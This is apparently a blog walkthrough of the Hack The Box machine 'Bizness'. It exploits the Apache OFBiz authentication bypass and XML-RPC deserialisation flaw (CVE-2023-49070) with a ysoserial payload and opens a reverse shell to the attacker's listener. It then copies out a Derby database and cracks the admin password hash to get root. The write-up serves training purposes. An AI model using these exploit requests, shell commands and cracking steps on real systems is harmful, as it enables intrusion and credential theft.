Post

HTB - Bizness

HTB - Bizness

Bizness is a machine running a vulnerable Apache OFBiz server. Using CVE-2023-49070 (a pre-authentication remote code execution CVE), we are able to get a shell as the ofbiz user. Searching through the OFBiz server folders, we find an Apache Derby database and after after exfiltrating it, we explore its content using the ij cli tool. Inside, we find a hash which after cracking reveals to be the password of the root user.

Reconnaissance

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
|   256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_  256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp    open  http       nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
443/tcp   open  ssl/http   nginx 1.18.0
| tls-nextprotoneg:
|_  http/1.1
|_http-trane-info: Problem with XML parsing of /evox/about
| tls-alpn:
|_  http/1.1
|_http-server-header: nginx/1.18.0
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after:  2328-11-10T20:03:40
|_ssl-date: TLS randomness does not represent time
|_http-title: BizNess Incorporated
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The scan reveals SSH is running on default port 22 as well as a HTTP web server on default port 80 and a HTTPS server on default port 443. The SSH service will most likely be useful once we have credentials. For now, let’s explore the other ports. We can also start by adding the domain bizness.htb to our /etc/hosts file.

Exploring the website

Navigating to the website, we find a plain website without too much functionalities.

Main website Main website

Running gobuster, we first find many hits but most of them are redirect without much interest. Our most interest find is the /control endpoint.

1
2
3
4
5
6
$ gobuster dir -k -u https://bizness.htb -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -b 302
...[snip]...
/WEB-INF              (Status: 404) [Size: 682]
/control              (Status: 200) [Size: 34633]
/META-INF             (Status: 404) [Size: 682]
/select               (Status: 404) [Size: 757]

Navigating to /control, we find an error page:

Control error page

Running a second gobuster against /control reveals /control/login. Navigating to that page, we find in the bottom right corner: Copyright (c) 2001-2024 The Apache Software Foundation. Powered by Apache OFBiz. Release 18.12

Control login page

This version of Apache OFBiz is vulnerable to 2 CVEs: CVE-2023-49070 and CVE-2023-51467.

Foothold as ofbiz

There is an excellent article detailing the vulnerabilities I am about to cover. If you want the full details, I would highly suggest to read the article after finishing this walkthrough: apache-ofbiz-authentication-bypass-vulnerability-cve-2023-49070-and-cve-2023-51467.

CVE-2023-49070

To summarize CVE-2023-49070, it uses an authentication design flaw in Apache OFBiz where passing the parameter requirePasswordChange=Y allows us to bypass an authentication check even if the username/password is wrong. This allows aunauthenticated users to use /webtools/control and use the XML-RPC component (which is outdated and no longer maintained). This endpoint is vulnerable to deserialisation attacks, hence sending it a specially crafted payload, we can get code execution.

A very simple test for this vulnerability is to use the webtools ping endpoint. Making a request to http://bizness.htb/webtools/control/ping?USERNAME=W&PASWORD=W&requirePasswordChange=Y sends back PONG which means we have authentication bypass.

The request we will send to the XML-RPC component looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /webtools/control/xmlrpc/?USERNAME=W&PASSWORD=W&requirePasswordChange=Y HTTP/1.1
Host: bizness.htb
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/xml

<?xml version="1.0"?>
<methodCall>
  <methodName>Methodname</methodName>
  <params>
    <param>
    <value>
      <struct>
        <member>
          <name>payload</name>
          <value>
            <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">serialized_data</serializable>
          </value>
        </member>
      </struct>
    </value>
  </param>
</params>
</methodCall>

To generate a serialized payload for our attack, we can use ysoserial. Depending if you are using an older version of the java jdk (11) or a newer one, the command to generate the payload is slightly different.

1
2
3
4
5
# JDK 11:
$ java -jar ysoserial.jar CommonsBeanutils1 <command-to-execute> | base64 | tr -d "\n"

# JDK 17+:
$ java -jar --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens java.base/java.net=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED ysoserial.jar CommonsBeanutils1 <command-to-execute> | base64 | tr -d "\n"

Shell as ofbiz

Public exploits are available for both CVEs: CVE-2023-49070 & CVE-2023-51467

Firing up a listener, we send the request with our base64 encoded reverse shell payload and get a shell as user ofbiz.

1
$ python exploit.py https://bizness.htb shell 10.10.14.186:4444

Optional: Stabilize your shell

1
2
3
4
5
6
7
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
Ctrl+Z  # Background the reverse shell
$ stty raw -echo; fg  # Switch your shell to raw mode, both commands on one line is for zsh shells
Enter x2
$ reset
$ export TERM=xterm-256color  # For a more colorful shell
$ stty rows ROW_NUMBER columns COLUMN_NUMBER  # Avoid having a terminal where lines don't go to the end of your window

With our reverse shell, we now have access to the system as user ofbiz.

1
2
3
4
5
6
7
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.186] from (UNKNOWN) [10.129.25.29] 48458
bash: cannot set terminal process group (739): Inappropriate ioctl for device
bash: no job control in this shell
ofbiz@bizness:/opt/ofbiz$ id
uid=1001(ofbiz) gid=1001(ofbiz-operator) groups=1001(ofbiz-operator)

We can find the user flag at /home/ofbiz/user.txt.

Privilege escalation

In the /opt/ofbiz folder there are a lot of files so we will only focus on the important ones. In the runtime folder, there is a folder called data/derby. Apache Derby is a database for Apache Ofbiz.

Extract password from derby database

Exfiltrate the /opt/ofbiz/runtime/data/derby folder and use ij (from the derby-tools package).

Run ij and connect to our local folder:

1
ij> connect 'jdbc:derby:./ofbiz'

With that we can see the existing tables with SHOW TABLES;. Among the hundreds of tables, one catches our eye USER_LOGIN.

Dumping this table reveals an encrypted password:

admin |$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I

We found something that looks like a password hash however it has a non-conventional format so we need more information if we want to crack it.

Search for passwords through the derby logs

Doing a grep for passwords in the /opt/ofbiz/runtime/data/derby folder also returns the password we found:

1
2
3
4
5
$ grep "password" -r . --text
...[snip]...
./c54d0.dat:                <eeval-UserLogin createdStamp="2023-12-16 03:40:23.643" createdTxStamp="2023-12-16 03:40:23.445" currentPassword="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I" enabled="Y" hasLoggedOut="N" lastUpdatedStamp="2023-12-16 03:44:54.272" last
UpdatedTxStamp="2023-12-16 03:44:54.213" requirePasswordChange="N" userLoginId="admin"/>
...[snip]...

Crack the password

A search on currentPassword in the /opt/ofbiz folder, we find a match in /opt/ofbiz/docker/docker-entrypoint.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
load_admin_user() {
  if [ ! -f "$CONTAINER_ADMIN_LOADED" ]; then
    TMPFILE=$(mktemp)

    # Concatenate a random salt and the admin password.
    SALT=$(tr --delete --complement A-Za-z0-9 </dev/urandom | head --bytes=16)
    SALT_AND_PASSWORD="${SALT}${OFBIZ_ADMIN_PASSWORD}"

    # Take a SHA-1 hash of the combined salt and password and strip off any additional output form the sha1sum utility.
    SHA1SUM_ASCII_HEX=$(printf "$SALT_AND_PASSWORD" | sha1sum | cut --delimiter=' ' --fields=1 --zero-terminated | tr --delete '\000')

    # Convert the ASCII Hex representation of the hash to raw bytes by inserting escape sequences and running
    # through the printf command. Encode the result as URL base 64 and remove padding.
    SHA1SUM_ESCAPED_STRING=$(printf "$SHA1SUM_ASCII_HEX" | sed -e 's/\(..\)\.\?/\\x\1/g')
    SHA1SUM_BASE64=$(printf "$SHA1SUM_ESCAPED_STRING" | basenc --base64url --wrap=0 | tr --delete '=')

    # Concatenate the hash type, salt and hash as the encoded password value.
    ENCODED_PASSWORD_HASH="\$SHA\$${SALT}\$${SHA1SUM_BASE64}"

    # Populate the login data template
    sed "s/@userLoginId@/$OFBIZ_ADMIN_USER/g; s/currentPassword=\".*\"/currentPassword=\"$ENCODED_PASSWORD_HASH\"/g;" framework/resources/templates/AdminUserLoginData.xml >"$TMPFILE"

    # Load data from the populated template.
    /ofbiz/bin/ofbiz --load-data "file=$TMPFILE"

    rm "$TMPFILE"

    touch "$CONTAINER_ADMIN_LOADED" 
  fi
}

Let’s analyse this file.

Following the comments, we can see a pretty classic password hashing with salt. What strikes us here is ENCODED_PASSWORD_HASH. We can see that it is added inside a login data template which looks exactly like the one we found.

Using the information here, we find that we know the salt and sha1

1
2
3
ENCODED_PASSWORD_HASH = $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I
SALT = d
SHA1SUM_BASE64 = uP0_QaVBpDWFeo8-dRzDqRwXQ2I

If we decode the base64url part and transform it to hex, we get something we can crack with hashcat. Hashcat needs the format hash:salt for a SHA-1 so we need to append d to our hash.

1
2
3
$ hashcat -m 120 token /usr/share/wordlists/rockyou.txt
...[snip]...
b8fd3f41a541a435857a8f3e751cc3a91c174362:d:monkeybizness

Shell as root

With this password we can now authenticate in the original ofbiz login page but we can also become root and get the flag at /root/root.txt!

1
2
3
4
ofbiz@bizness:/opt/ofbiz/docker$ su root
Password:  # monkeybizness 
root@bizness:/opt/ofbiz/docker# id
uid=0(root) gid=0(root) groups=0(root)
This post is licensed under CC BY 4.0 by the author.